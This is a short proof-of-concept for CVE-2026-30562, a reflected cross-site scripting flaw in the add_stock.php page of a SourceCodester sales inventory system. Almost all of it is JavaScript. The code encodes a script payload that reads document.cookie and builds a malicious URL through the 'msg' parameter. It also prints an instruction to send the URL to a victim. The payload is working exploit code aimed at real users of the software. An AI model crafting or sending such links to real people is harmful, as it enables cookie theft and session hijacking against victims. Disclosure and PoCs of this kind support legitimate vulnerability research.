CVE-2026-30562 SourceCodester销售库存系统XSS漏洞

// PoC for CVE-2026-30562 Reflected XSS // Vulnerable File: add_stock.php // Vulnerable Parameter: msg // Step 1: Encode the payload to ensure it is processed correctly in the URL var payload = "<script>alert(document.cookie)</script>"; var encodedPayload = encodeURIComponent(payload); // Step 2: Construct the malicious URL var targetUrl = "http://target_ip/path/to/add_stock.php?msg=" + encodedPayload; // Step 3: Simulate sending the link to a victim console.log("Send this URL to the victim:"); console.log(targetUrl); // Description: When the victim loads the URL, the server reflects the 'msg' parameter // without sanitization, causing the browser to execute the alert script.